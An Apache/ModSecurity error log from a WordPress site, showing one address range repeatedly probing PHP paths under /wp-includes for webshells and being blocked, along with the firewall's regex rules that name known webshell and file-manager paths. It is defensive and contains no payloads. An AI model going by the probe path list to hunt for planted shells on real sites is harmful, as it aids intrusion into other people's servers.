[Mon Jan 05 16:56:21.552639 2026] [:error] [pid 5632:tid 5652] [client 45.67.97.22:27671] [client 45.67.97.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aVt8tYN3ZWvlOh-nbt-P7AAAAMg"]
[Mon Jan 05 16:56:22.816887 2026] [:error] [pid 5534:tid 5544] [client 45.67.97.195:34787] [client 45.67.97.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/index.php"] [unique_id "aVt8tpNs9XmbR6unB0x0LwAAAAE"]
[Mon Jan 05 16:56:23.923394 2026] [:error] [pid 5632:tid 5645] [client 45.67.97.22:58763] [client 45.67.97.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/admin.php"] [unique_id "aVt8t4N3ZWvlOh-nbt-P8AAAAME"]
[Mon Jan 05 16:56:25.937273 2026] [:error] [pid 6680:tid 6690] [client 45.67.97.19:23353] [client 45.67.97.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/security.php"] [unique_id "aVt8uaE58uNoazzTmx21MwAAAQg"]
[Mon Jan 05 16:56:28.994059 2026] [:error] [pid 6680:tid 6694] [client 45.67.97.20:41857] [client 45.67.97.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/autoload_classmap.php"] [unique_id "aVt8vKE58uNoazzTmx21OAAAAQw"]
[Mon Jan 05 16:56:30.903795 2026] [:error] [pid 5534:tid 5558] [client 45.67.97.20:58891] [client 45.67.97.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/about.php"] [unique_id "aVt8vpNs9XmbR6unB0x0QAAAAA8"]
[Mon Jan 05 16:56:34.585202 2026] [:error] [pid 5632:tid 5668] [client 45.67.97.20:35599] [client 45.67.97.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/about.php"] [unique_id "aVt8woN3ZWvlOh-nbt-QBAAAANg"]
[Mon Jan 05 16:56:49.724389 2026] [:error] [pid 5632:tid 5660] [client 45.67.97.20:61141] [client 45.67.97.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/file.php"] [unique_id "aVt80YN3ZWvlOh-nbt-QIgAAANA"]
[Mon Jan 05 16:56:52.464405 2026] [:error] [pid 5632:tid 5657] [client 45.67.97.20:58321] [client 45.67.97.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/dedi1.php"] [unique_id "aVt81IN3ZWvlOh-nbt-QMQAAAM0"]
[Mon Jan 05 16:56:53.663963 2026] [:error] [pid 5536:tid 5609] [client 45.67.97.19:37475] [client 45.67.97.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/autoload_classmap.php"] [unique_id "aVt81QRtMZNG6xI8yDyj8wAAAIw"]
[Mon Jan 05 16:56:58.190249 2026] [:error] [pid 54081:tid 54106] [client 45.67.97.195:51339] [client 45.67.97.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "aVt82lL4jLgtF-b9w4dQaAAAAVY"]
[Mon Jan 05 16:57:05.383593 2026] [proxy_fcgi:error] [pid 28407:tid 28410] [client 45.67.97.195:51541] AH01071: Got error 'Primary script unknown'
[Mon Jan 05 16:57:07.260187 2026] [proxy_fcgi:error] [pid 28407:tid 28433] [client 45.67.97.195:51541] AH01071: Got error 'Primary script unknown'
[Mon Jan 05 16:57:08.913777 2026] [proxy_fcgi:error] [pid 28407:tid 28411] [client 45.67.97.195:51541] AH01071: Got error 'Primary script unknown'
[Mon Jan 05 16:57:15.148401 2026] [:error] [pid 28407:tid 28429] [client 45.67.97.195:51541] [client 45.67.97.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "aVt869ercd3ptydUzM0PwQAAAZI"]
[Mon Jan 05 16:57:16.743437 2026] [:error] [pid 5632:tid 5662] [client 45.67.97.19:33557] [client 45.67.97.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/edit-widgets/index.php"] [unique_id "aVt87IN3ZWvlOh-nbt-QSQAAANI"]
[Mon Jan 05 16:57:18.517296 2026] [:error] [pid 5534:tid 5565] [client 45.67.97.22:46215] [client 45.67.97.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/edit-widgets/about.php"] [unique_id "aVt87pNs9XmbR6unB0x0nwAAABY"]
[Mon Jan 05 16:57:21.338583 2026] [:error] [pid 6680:tid 6696] [client 45.67.97.19:23005] [client 45.67.97.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/src/Exception/Http/about.php"] [unique_id "aVt88aE58uNoazzTmx21ewAAAQ4"]
[Mon Jan 05 16:57:23.408652 2026] [:error] [pid 6680:tid 6703] [client 45.67.97.19:27085] [client 45.67.97.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Renderer/index.php"] [unique_id "aVt886E58uNoazzTmx21fAAAARU"]
[Mon Jan 05 16:57:24.238349 2026] [:error] [pid 5536:tid 5615] [client 45.67.97.195:25289] [client 45.67.97.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/index.php"] [unique_id "aVt89ARtMZNG6xI8yDykFAAAAJI"]
[Mon Jan 05 16:57:26.296652 2026] [:error] [pid 5535:tid 5579] [client 45.67.97.19:55655] [client 45.67.97.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/media/index.php"] [unique_id "aVt89mnkedMjhVX0PTVAhAAAAEk"]
[Mon Jan 05 16:57:27.589832 2026] [:error] [pid 54081:tid 54100] [client 45.67.97.20:65331] [client 45.67.97.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/index.php"] [unique_id "aVt891L4jLgtF-b9w4dQigAAAVA"]
[Mon Jan 05 16:57:28.695469 2026] [:error] [pid 5632:tid 5664] [client 45.67.97.22:57953] [client 45.67.97.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/about.php"] [unique_id "aVt8-IN3ZWvlOh-nbt-QXAAAANQ"]
[Mon Jan 05 16:57:29.987566 2026] [:error] [pid 5534:tid 5545] [client 45.67.97.195:39159] [client 45.67.97.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/tinymce/skins/lightgray/img/wp-login.php"] [unique_id "aVt8-ZNs9XmbR6unB0x0qgAAAAI"]
[Mon Jan 05 16:57:32.567094 2026] [:error] [pid 54081:tid 54084] [client 45.67.97.19:65255] [client 45.67.97.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/themes.php"] [unique_id "aVt8_FL4jLgtF-b9w4dQmAAAAUA"]
[Mon Jan 05 16:57:36.896740 2026] [:error] [pid 28407:tid 28425] [client 45.67.97.22:34273] [client 45.67.97.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/index.php"] [unique_id "aVt9ANercd3ptydUzM0P5wAAAY4"]
[Mon Jan 05 16:57:39.971163 2026] [:error] [pid 28407:tid 28421] [client 45.67.97.22:29149] [client 45.67.97.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/media/wp-login.php"] [unique_id "aVt9A9ercd3ptydUzM0P7gAAAYo"]
[Mon Jan 05 16:57:42.000067 2026] [:error] [pid 5536:tid 5613] [client 45.67.97.20:63461] [client 45.67.97.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/about.php"] [unique_id "aVt9BQRtMZNG6xI8yDykLgAAAJA"]
[Mon Jan 05 16:57:45.185828 2026] [:error] [pid 5632:tid 5664] [client 45.67.97.195:40241] [client 45.67.97.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/wp-login.php"] [unique_id "aVt9CYN3ZWvlOh-nbt-QbwAAANQ"]
[Mon Jan 05 16:57:48.713540 2026] [:error] [pid 5534:tid 5563] [client 45.67.97.22:36525] [client 45.67.97.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/about.php"] [unique_id "aVt9DJNs9XmbR6unB0x0yAAAABQ"]
[Mon Jan 05 16:57:50.280083 2026] [:error] [pid 5535:tid 5586] [client 45.67.97.22:55005] [client 45.67.97.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wp-class.php"] [unique_id "aVt9DmnkedMjhVX0PTVAnQAAAFA"]
[Mon Jan 05 16:58:03.292500 2026] [:error] [pid 5536:tid 5614] [client 45.67.97.19:25473] [client 45.67.97.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/html-api/chosen.php"] [unique_id "aVt9GwRtMZNG6xI8yDykYwAAAJE"]
[Mon Jan 05 16:58:04.881825 2026] [:error] [pid 5632:tid 5656] [client 45.67.97.19:49587] [client 45.67.97.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/autoload_classmap.php"] [unique_id "aVt9HIN3ZWvlOh-nbt-QiAAAAMw"]
[Mon Jan 05 16:58:06.914222 2026] [:error] [pid 5536:tid 5609] [client 45.67.97.22:25167] [client 45.67.97.22] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.67.97.22, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aVt9HgRtMZNG6xI8yDykawAAAIw"]
[Mon Jan 05 16:58:08.679854 2026] [:error] [pid 5536:tid 5618] [client 45.67.97.22:25167] [client 45.67.97.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/providers/index.php"] [unique_id "aVt9IARtMZNG6xI8yDykbwAAAJU"]
[Mon Jan 05 16:58:11.383189 2026] [:error] [pid 6680:tid 6694] [client 45.67.97.19:65229] [client 45.67.97.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/index.php"] [unique_id "aVt9I6E58uNoazzTmx214AAAAQw"]
[Mon Jan 05 16:58:14.289094 2026] [:error] [pid 5535:tid 5574] [client 45.67.97.22:58417] [client 45.67.97.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/index.php"] [unique_id "aVt9JmnkedMjhVX0PTVAswAAAEQ"]
[Mon Jan 05 16:58:18.319490 2026] [:error] [pid 28407:tid 28413] [client 45.67.97.22:30987] [client 45.67.97.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aVt9Ktercd3ptydUzM0QGAAAAYM"]
[Mon Jan 05 16:58:19.844568 2026] [:error] [pid 5536:tid 5600] [client 45.67.97.195:28093] [client 45.67.97.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/fm.php"] [unique_id "aVt9KwRtMZNG6xI8yDykiAAAAIM"]
[Mon Jan 05 16:58:23.134449 2026] [:error] [pid 5536:tid 5600] [client 45.67.97.19:37817] [client 45.67.97.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/calendar/index.php"] [unique_id "aVt9LwRtMZNG6xI8yDykkgAAAIM"]
[Mon Jan 05 16:58:26.027027 2026] [proxy_fcgi:error] [pid 6680:tid 6686] [client 45.67.97.22:59265] AH01071: Got error 'Primary script unknown'
[Mon Jan 05 16:58:27.771797 2026] [:error] [pid 6680:tid 6697] [client 45.67.97.22:59265] [client 45.67.97.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/function.php"] [unique_id "aVt9M6E58uNoazzTmx22AgAAAQ8"]
[Mon Jan 05 16:58:29.633989 2026] [:error] [pid 5632:tid 5663] [client 45.67.97.195:63519] [client 45.67.97.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/plugins.php"] [unique_id "aVt9NYN3ZWvlOh-nbt-QqAAAANM"]
[Mon Jan 05 16:58:31.802977 2026] [:error] [pid 5534:tid 5551] [client 45.67.97.22:47221] [client 45.67.97.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/chosen.php"] [unique_id "aVt9N5Ns9XmbR6unB0x1BQAAAAg"]
[Mon Jan 05 16:58:32.854036 2026] [:error] [pid 54081:tid 54096] [client 45.67.97.195:34787] [client 45.67.97.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Renderer/about.php"] [unique_id "aVt9OFL4jLgtF-b9w4dQ7QAAAUw"]
[Mon Jan 05 16:58:40.116535 2026] [:error] [pid 5534:tid 5552] [client 45.67.97.22:35363] [client 45.67.97.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/atomlib.php"] [unique_id "aVt9QJNs9XmbR6unB0x1FAAAAAk"]
[Mon Jan 05 16:58:41.488811 2026] [:error] [pid 5536:tid 5616] [client 45.67.97.195:58331] [client 45.67.97.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/index.php"] [unique_id "aVt9QQRtMZNG6xI8yDyktAAAAJM"]
[Mon Jan 05 16:58:44.078288 2026] [:error] [pid 5535:tid 5585] [client 45.67.97.20:29033] [client 45.67.97.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/index.php"] [unique_id "aVt9RGnkedMjhVX0PTVA3QAAAE8"]
[Mon Jan 05 16:58:45.423389 2026] [:error] [pid 6680:tid 6696] [client 45.67.97.195:54133] [client 45.67.97.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "aVt9RaE58uNoazzTmx22FQAAAQ4"]
[Mon Jan 05 16:58:46.586267 2026] [:error] [pid 5632:tid 5647] [client 45.67.97.20:37169] [client 45.67.97.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "aVt9RoN3ZWvlOh-nbt-QvQAAAMM"]
[Mon Jan 05 16:58:52.450788 2026] [:error] [pid 5534:tid 5559] [client 45.67.97.22:44517] [client 45.67.97.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Exception-wp.php"] [unique_id "aVt9TJNs9XmbR6unB0x1LQAAABA"]
[Mon Jan 05 16:58:54.823754 2026] [:error] [pid 5536:tid 5603] [client 45.67.97.195:36875] [client 45.67.97.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "aVt9TgRtMZNG6xI8yDyk1QAAAIY"]
[Mon Jan 05 16:59:08.397719 2026] [:error] [pid 5535:tid 5580] [client 45.67.97.22:59943] [client 45.67.97.22] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.67.97.22, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/js/wp-login.php"] [unique_id "aVt9XGnkedMjhVX0PTVA8wAAAEo"]
[Mon Jan 05 16:59:19.044138 2026] [:error] [pid 5535:tid 5592] [client 45.67.97.22:59943] [client 45.67.97.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/bk/index.php"] [unique_id "aVt9Z2nkedMjhVX0PTVBFAAAAFY"]
